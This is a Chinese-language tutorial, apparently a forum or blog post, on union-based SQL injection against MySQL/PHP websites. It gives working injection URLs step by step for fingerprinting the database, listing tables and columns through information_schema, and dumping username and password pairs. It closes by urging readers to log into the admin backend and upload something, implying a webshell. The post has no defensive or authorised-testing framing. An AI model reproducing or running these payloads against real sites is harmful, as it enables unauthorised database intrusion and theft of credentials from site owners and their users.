暴库之前看看MySql这些版本的特性吧

4.0以下不支持union查询

4.0以上magic_quotes_gpc默认为on(magic_quotes_gpc=on
当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ‘ (单引号), ” (双引号), \(反斜线) and 空字符会自动转为含有反斜线的转义字符。例如’会变成\’。给注入带来不少的阻碍。)

5.0以上可以暴表暴列,支持跨库

第一步:

注入漏洞利用,联合查询初探

?id=600 order by 9 and 1=2 union select 1,2,3,4,5,6,7,8,9 页面有些地方已经显示出数字了吧,至于为什么一定要有个and 1=2 报错才能显示出这些数字,我自己想了一下,联合查询嘛,第一条查询出错,条件是and 1=2 没有符合条件的记录,所以第二条也就是union之后的查询结果就可以显示了。

第二步:

查询数据库版本等有价值的信息

?id=600 order by 9 and 1=2 union select 1,version(),database(),4,user(),6,@@version_compile_os,8,9 看看页面哪些字段有显示,替换掉吧。 是不是已经出来了版本,数据库名,当前用户,操作系统呢? 如果知道数据库版本是5.0以上的,我们就要来进行暴表,暴列了。很快速的,不用猜的。

第三步:

暴表
and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=数据库名转换16进制。

不懂mysql语句,看看英文,随便猜一下什么意思吧。 information_schema这东西是MySql自带的,里面有很多表 ,table_schema字面意思就是表的集合,那么这句话连起来就是:从“表的集合”里面列出表名。。貌似我只会这样解释了 :(  详细的关于这个函数用法,我会给出地址的,大家参考一下即可 !

为了让表名直观的显示在页面上。结合第二步的联合查询语句进行构造:?id=600 order by 9 and 1=2 union select 1,group_concat(table_name),database(),4,user(),6,@@version_compile_os,8,9  from information_schema.tables where table_schema=转换为十六进制后的数据库名     表名会乖乖的列出来的,相信科学吧。我不配图了。

第四步:

暴字段
and 1=2 union select group_concat(column_name) from information_schema.columns where table_name=表名转换16进制。同样要让结果显示在页面。构造语句:?id=600 order by 9 and 1=2 union select 1,group_concat(column_name),database(),4,user(),6,@@version_compile_os,8,9  from information_schema.columns where table_name=转换16进制的表名

第五步:

暴字段内容
union select 1,group_concat(username,0x3a,password),3,4,5 from 表名

执行语句:?id=600 order by 9 and 1=2 union select 1,group_concat(username,0x3a,password),database(),4,user(),6,@@version_compile_os,8,9  from 表名

结局:

到现在,我想大家经过努力,一定得到了管理员的用户名密码,然后就是找到后台,登陆进去,找地方传个什么东西了呗。